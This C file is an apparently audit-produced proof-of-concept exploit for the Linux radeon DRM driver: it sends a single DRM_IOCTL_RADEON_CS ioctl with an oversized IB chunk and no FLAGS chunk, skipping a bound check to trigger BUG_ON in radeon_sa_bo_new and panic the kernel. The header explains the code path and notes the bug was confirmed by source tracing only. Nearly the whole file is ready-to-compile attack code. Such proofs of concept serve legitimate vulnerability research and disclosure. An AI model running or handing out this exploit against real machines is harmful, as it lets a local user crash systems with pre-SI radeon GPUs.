/*
 * PoC: radeon_sa_bo_new BUG_ON panic via oversized CS IB chunk (DF-1987)
 *
 * Compile: cc -o sa_panic sa_panic.c
 * Run:     ./sa_panic /dev/dri/card0
 * Expected: kernel panic 'BUG in radeon_sa_bo_new at .../radeon_sa.c:322'
 *
 * HW precondition (NOT present on the audit QEMU guest):
 *   - A pre-SI radeon GPU (Radeon HD 5000/6000 series etc.) must be present
 *     and exposed as /dev/dri/card0 (or a render node), and the calling user
 *     must have device access (video group / render node ACL).
 *
 * The audit guest has no radeon GPU (only the QEMU std VGA at pci0:0:2:0,
 * chip 0x11111234).  Therefore this PoC cannot run end-to-end on the guest;
 * the bug is confirmed by source-tracing only (see VERDICT.md).
 *
 * Trigger: submit a single DRM_IOCTL_RADEON_CS ioctl with a single IB chunk
 * whose length_dw exceeds the SA pool capacity (1 MB / 4 = 262144 dwords),
 * WITHOUT a FLAGS chunk (so the non-VM path is taken, which lacks the
 * length_dw > RADEON_IB_VM_MAX_SIZE bound check that guards the VM path).
 *
 * Flow: radeon_cs_ioctl -> radeon_cs_parser_init (parses user_chunk.length_dw
 *       with only a zero-check) -> radeon_cs_ib_fill (non-VM path:
 *       radeon_ib_get(rdev, ring, &ib, vm, ib_chunk->length_dw * 4)) ->
 *       radeon_sa_bo_new(rdev, &rdev->ring_tmp_bo, ..., size=length_dw*4, 256)
 *       -> BUG_ON(size > sa_manager->size) -> panic().
 */

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

/* Minimal DRM/radeon ioctl structures (simplified from libdrm headers) */
#define DRM_COMMAND_BASE        0x40
#define DRM_RADEON_CS           0x26
#define DRM_IOCTL_RADEON_CS     _IOWR('d', DRM_COMMAND_BASE + DRM_RADEON_CS, struct drm_radeon_cs)

#define RADEON_CHUNK_ID_IB      0x01

struct drm_radeon_cs_chunk {
    uint32_t chunk_id;
    uint32_t length_dw;       /* user-controlled, no upper bound on non-VM path */
    uint64_t chunk_data;      /* user pointer to IB data */
};

struct drm_radeon_cs {
    uint32_t num_chunks;      /* total number of chunks */
    uint32_t _pad;
    uint64_t chunks;          /* pointer to array of uint64_t chunk pointers */
};

int main(int argc, char *argv[]) {
    const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
    int fd = open(dev, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    /*
     * length_dw = 0x50000 (327680 dwords)
     * size = length_dw * 4 = 1310720 bytes = 1.25 MB > 1 MB SA pool
     * This triggers BUG_ON(size > sa_manager->size) -> panic()
     *
     * No FLAGS chunk is attached, so RADEON_CS_USE_VM is not set, so the
     * non-VM path is taken at radeon_cs.c:640 and radeon_ib_get() is called
     * with ib_chunk->length_dw * 4 with no upper-bound check (the
     * length_dw > RADEON_IB_VM_MAX_SIZE check at radeon_cs.c:634 is inside
     * the VM-only block and is skipped).
     */
    uint32_t ib_data[4] = {0};
    struct drm_radeon_cs_chunk ib_chunk = {
        .chunk_id   = RADEON_CHUNK_ID_IB,
        .length_dw  = 0x50000,             /* 327680 dwords = 1.25MB > 1MB pool */
        .chunk_data = (uint64_t)(uintptr_t)ib_data,
    };

    uint64_t chunk_ptrs[1] = { (uint64_t)(uintptr_t)&ib_chunk };

    struct drm_radeon_cs cs = {
        .num_chunks = 1,
        .chunks     = (uint64_t)(uintptr_t)chunk_ptrs,
    };

    printf("Sending CS with length_dw=0x%x (size=%u bytes, pool=%u bytes)\n",
           ib_chunk.length_dw, ib_chunk.length_dw * 4, 1048576u);
    printf("Expected: kernel panic in radeon_sa_bo_new at radeon_sa.c:322\n");

    int r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs);
    /* Should NOT reach here -- kernel panics */
    printf("ioctl returned %d (unexpected -- BUG_ON may not have fired)\n", r);
    close(fd);
    return 0;
}
